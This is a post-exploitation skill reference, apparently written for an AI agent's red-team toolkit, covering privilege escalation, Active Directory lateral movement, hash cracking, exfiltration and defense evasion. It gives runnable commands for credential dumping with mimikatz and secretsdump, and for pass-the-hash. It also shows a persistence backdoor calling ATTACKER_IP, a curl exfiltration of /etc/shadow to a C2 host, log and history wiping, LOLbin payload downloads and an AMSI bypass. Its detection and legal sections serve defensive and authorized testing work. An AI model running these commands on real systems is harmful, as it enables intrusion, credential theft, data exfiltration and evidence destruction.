Post Exploitation

Skill: Post-Exploitation

Supplementary Files:

• payloads.md — Complete attack payload and command checklist organized by phase: privilege escalation, persistence, credential extraction, lateral movement, data exfiltration, anti-forensics, and tunneling/reverse shells.
• test-cases.md — Structured test cases covering privilege escalation, persistence, credential extraction, lateral movement, and data exfiltration, with severity levels and statistical summary tables.

Summary

Post Exploitation skill domain covering post exploitation operations.

Tools: Metasploit (Meterpreter), Impacket, BloodHound, mimikatz, Empire/Starkiller, PowerSploit (+4 more)

Domain: post-exploitation

MITRE ATT&CK: TA0005-Defense Evasion

Description

Post-exploitation covers the complete attack chain after obtaining initial access: privilege escalation, persistence, lateral movement, data collection and exfiltration, and covering tracks. This phase determines the depth and value of a red team assessment — the critical transition from initial breach to full domain control. The core objective is maximizing control scope within the target network while minimizing detection probability.

Use Cases

1. Restricted initial shell — Escalate from low-privileged user to root/SYSTEM after obtaining initial shell.
2. Domain environment penetration — Perform credential extraction, ticket forgery, and lateral movement in Active Directory.
3. Persistence requirement — Establish multiple persistence mechanisms on target systems to ensure long-term access.
4. Data exfiltration assessment — Demonstrate complete sensitive data exfiltration paths from internal network to external.
5. Red team simulation — Model advanced threat actor complete post-exploitation TTPs.

Core Tools

Methodology

Attack Chain

Initial Foothold
    |
    v
Privilege Escalation --> Local PE (kernel vulns, service misconfig, token impersonation)
    |
    v
Persistence --> Scheduled tasks, registry run keys, services, WMI subscriptions
    |
    v
Lateral Movement --> Pass-the-Hash, PsExec, WMI, RDP
    |
    v
Data Collection --> Credentials, files, databases, screenshots
    |
    v
Exfiltration --> DNS tunneling, HTTPS, SMB, ICMP
    |
    v
Covering Tracks --> Log clearing, timestamp modification, tool cleanup

Defense Perspective

Practical Steps

See payloads.md for detailed payloads and test-cases.md for the complete test checklist.

1. Metasploit Post-Exploitation Basics

After obtaining a Meterpreter shell, execute core operations: system info gathering (sysinfo, getuid), automated privilege escalation (getsystem), permission enumeration (getprivs), hash export (hashdump), and credential extraction (load kiwi + creds_all).

# System information and current user
meterpreter> sysinfo
meterpreter> getuid

# Automated privilege escalation
meterpreter> getsystem

# Enumerate available privileges
meterpreter> getprivs

# Extract NTLM hashes
meterpreter> hashdump

# Load Mimikatz extension and dump all credentials
meterpreter> load kiwi
meterpreter> creds_all

# Local exploit suggestion
meterpreter> run post/multi/recon/local_exploit_suggester

# Enumerate logged-on users and shares
meterpreter> enum_logged_on_users
meterpreter> enum_shares

# Install persistence backdoor
meterpreter> run persistence -U -i 60 -p 4444 -r ATTACKER_IP

2. Privilege Escalation Techniques

Linux: Automated enumeration with linpeas.sh; find SUID binaries (find / -perm -4000 -type f 2>/dev/null); audit scheduled tasks (cat /etc/crontab); check sudo permissions (sudo -l); kernel exploit matching against uname -a output.

Windows: Automated enumeration with winPEAS.exe; view privilege tokens (whoami /priv); obtain patch information (systeminfo); check service permissions (accesschk.exe -uwcqv "Authenticated Users" *); unquoted service path exploitation.

Remote PE via Impacket:

impacket-psexec domain/admin:password@target
impacket-smbexec -hashes :NTHASH domain/admin@target

3. Active Directory Lateral Movement

Four-step process:

# Step 1: AD reconnaissance
impacket-GetADUsers -all -dc-ip DC_IP domain/user:pass
impacket-GetADComputers -all -dc-ip DC_IP domain/user:pass
impacket-findDelegation domain/user:pass -dc-ip DC_IP

# Step 2: BloodHound graph analysis
bloodhound-python -d domain -u user -p pass -ns DC_IP -c All
# Ingest JSON into BloodHound GUI; find shortest paths to Domain Admin

# Step 3: Credential extraction + Pass-the-Hash
impacket-secretsdump domain/user:pass@DC -just-dc-ntlm
impacket-wmiexec -hashes :NTHASH domain/admin@target

# Step 4: Lateral movement execution
impacket-wmiexec domain/admin:password@target
impacket-smbexec domain/admin:password@target

4. Password Hash Cracking

After extracting NTLM hashes from secretsdump:

# Hashcat: dictionary attack
hashcat -m 1000 -a 0 hashes.txt rockyou.txt

# Hashcat: rule-based attack
hashcat -m 1000 -a 0 hashes.txt rockyou.txt -r dive.rule

# Hashcat: mask brute force
hashcat -m 1000 -a 3 hashes.txt ?u?l?l?l?l?d?d?d?d

# John the Ripper: auto-detect hash type
john --wordlist=rockyou.txt hashes.txt
john --show hashes.txt

5. Data Exfiltration and Trace Cleanup

# Data packaging
tar czf loot.tar.gz /etc/passwd /etc/shadow /home/*/.*shistory

# Exfiltration via existing C2 channel (example)
cat loot.tar.gz | base64 | curl -X POST -d @- https://c2.example.com/upload

# Clear event logs (Windows)
meterpreter> clearev

# Manual cleanup
rm -rf /tmp/.tools/
rm ~/.bash_history && kill -9 $$

All operations must be documented in detail in the testing report.

Common Pitfalls

• Running automated enumeration without reviewing output: Tools like linpeas and winPEAS generate extensive output, but blindly trusting their recommendations without understanding the context can lead to chasing false positives or attempting exploits that will crash the target.
• Neglecting operational security: Failing to clean up uploaded tools, scheduled tasks, or modified registry keys after testing leaves artifacts that can trigger alerts. Always maintain a checklist of every modification made during the engagement and verify cleanup before disconnecting.
• Ignoring credential validation: Cracked hashes may correspond to expired accounts, disabled users, or changed passwords. Always verify credentials work against the target service before reporting them as valid findings.

Automation and Scripting

Automate post-exploitation enumeration with scripted chains: after obtaining a Meterpreter session, automatically run local_exploit_suggester, export hashes, enumerate logged-on users, and collect system information in a single scripted sequence. Use BloodHound's ingestor (bloodhound-python or SharpHound) for automated Active Directory attack path analysis. Build custom PowerShell or Python scripts for specific post-exploitation tasks like automated credential harvesting from memory, registry, and configuration files.

Reporting and Documentation

Post-exploitation reports should document the complete attack chain from initial access to domain dominance, including every escalation step, lateral movement path, and data access point. Include screenshots of privilege escalation proofs (whoami output before and after), extracted credential counts, and network diagrams showing the lateral movement path. Map all techniques to MITRE ATT&CK IDs for standardized communication with the blue team. Detail the persistence mechanisms installed and provide exact removal instructions for each one.

Legal and Ethical Considerations

Post-exploitation involves accessing systems and data that go far beyond the initial scope of a vulnerability. Ensure the engagement letter explicitly authorizes privilege escalation, lateral movement, and data access. Data exfiltration testing should use fabricated test data rather than real sensitive data whenever possible. Persistence mechanisms must be fully documented and removed before the engagement ends — leaving backdoors on production systems is a serious legal liability regardless of intent.

Integration with Other Tools

Post-exploitation sits at the center of the kill chain, consuming input from and feeding output to multiple adjacent skills. Initial access comes from network-pentest or web application exploitation. Credential extraction feeds into password-attack for hash cracking. Cracked credentials enable further lateral movement using impacket tools. BloodHound analysis of Active Directory structures informs social-engineering campaigns. Binary reverse engineering (binary-reverse) helps analyze malware or custom tools found on target systems during post-exploitation.

Case Studies and Examples

• AD domain escalation via Kerberoasting: During an internal assessment, a low-privileged domain user queried for Service Principal Names and extracted Kerberos TGS tickets. One service account had a weak password crackable in 15 minutes, and it turned out to be a member of the Domain Admins group — granting full domain control from a single cracked hash.
• Linux privilege escalation via cron: A scheduled task running as root executed a shell script in a world-writable directory. By appending a reverse shell payload to the script, root access was obtained within the next cron cycle (5 minutes) without exploiting any kernel vulnerability.
• Lateral movement via Pass-the-Hash: After extracting NTLM hashes from a compromised workstation, the local administrator's hash was reused across 23 other workstations in the same VLAN, enabling lateral movement to a machine where a domain admin had an active session.

Detection Methods

Modern EDR/XDR platforms detect post-exploitation through behavioral analysis. Understanding these signals helps testers operate more stealthily and helps defenders prioritize monitoring.

Process-Level Indicators

• LSASS memory access: Non-system processes accessing LSASS memory trigger EDR alerts (Credential Guard blocks this).
• Suspicious process lineage: cmd.exe / powershell.exe spawned by web services (w3wp.exe, sqlservr.exe) indicates remote code execution.
• Living-off-the-land binaries: Anomalous use of certutil.exe, mshta.exe, rundll32.exe, wmic.exe outside typical admin patterns.
• In-memory execution: PowerShell -enc/-w hidden flags, reflectively loaded DLLs, process hollowing patterns.

Network-Level Indicators

• Anomalous WMI connections: DCOM traffic on TCP/135 + dynamic ports to non-admin workstations.
• PsExec service installation: PSEXESVC.exe service creation events (Windows Event ID 7045).
• SMB session anomalies: Multiple admin shares accessed (ADMIN$, C$) from non-admin source.
• BloodHound LDAP queries: Recognizable query patterns (filter on servicePrincipalName, memberOf:1.2.840.113556.1.4.1941:).

SIEM Detection Rules

• Sigma rule: sigma/rules/windows/lsass_mem_access.yml
• Splunk SPL: index=windows sourcetype=XmlWinEventLog:Microsoft-Windows-Sysmon/Operational EventCode=10 TargetImage="*\\lsass.exe" | stats count by SourceImage, Computer
• Windows Event ID 4624/4625: Logon type 3 (network) from unusual source IPs.
• Windows Event ID 4688: Process creation with command line logging enabled.

Defense Evasion Techniques

In-Memory Execution

• PowerShell -enc: Base64-encoded payload avoids content-based signatures.
• Reflective DLL injection: Load DLL from memory without touching disk.
• Process hollowing: Replace legitimate process memory with malicious code.
• CLR injection: Abuse .NET Common Language Runtime for in-memory .NET assemblies.

Living-off-the-Land Binaries (LOLbins)

• certutil: certutil -urlcache -split -f https://c2/payload.exe (download disguised).
• mshta: mshta https://c2/payload.hta (HTML Application execution).
• rundll32: rundll32.exe javascript:"..." (JavaScript execution).
• wmic: wmic process call create "payload.exe" (remote process creation).

Timing and Blending

• Business hours activity: Run enumeration during peak admin hours to blend with normal behavior.
• Slow C2 beaconing: Jitter timing + low frequency (every 60-90 min) to mimic legitimate traffic.
• HTTPS C2: Use legitimate-looking domains (CDN fronts, expired SSL certs).

Selective Log Manipulation

• Selective clearing: Delete only specific Event IDs (e.g., 4624 logons) rather than full log.
• Time-stomping: Modify file timestamps to match legitimate files (timestomp in Meterpreter).
• Memory-only artifacts: Use memfd_create() for tools that never touch disk.

Tool Obfuscation

• AMSI bypass: Patch amsi.dll in-memory before loading scripts.
• Signature modification: Modify open-source tool source code to evade signatures.
• Custom loaders: Build bespoke loaders instead of using known frameworks (Cobalt Strike, etc.).

Advanced Techniques

Advanced post-exploitation includes: token impersonation and delegation attacks in Active Directory, Kerberos silver and golden ticket forgery for persistent domain access, DCShadow attacks for real-time Active Directory modification without logging, CLR injection and process hollowing for stealthy in-memory code execution, and ADS (Alternate Data Streams) for hiding tools and data on NTFS filesystems. For Linux environments, explore container escape techniques, kernel exploit chaining, and SSH key persistence across reboots.

Tool Comparison Matrix

Hacker Laws

Learning Resources

Skill supplementary files: payloads.md, test-cases.md

Related Skills: skills/network-pentest/SKILL.md, skills/binary-reverse/SKILL.md, skills/privilege-escalation/SKILL.md

External Resources:

• Metasploit Unleashed — Offensive Security official free course (deep Metasploit usage).
• HackTricks — Post-exploitation technique quick reference manual, continuously updated.
• MITRE ATT&CK Framework — TTPs classification standard, attack chain reference.
• Impacket Official Documentation — Network protocol toolkit reference.
• BloodHound Documentation — AD attack path analysis.
• PayloadsAllTheThings — Privilege escalation and post-exploitation payload collection.

Tool mastery status: msfconsole (mastered) | mimikatz, bloodhound, powersploit, empire, john, hashcat (learning) Reference notes: memory/2026-03-21-post-exploitation-tools.md, memory/2026-03-21-password-attack-tools.md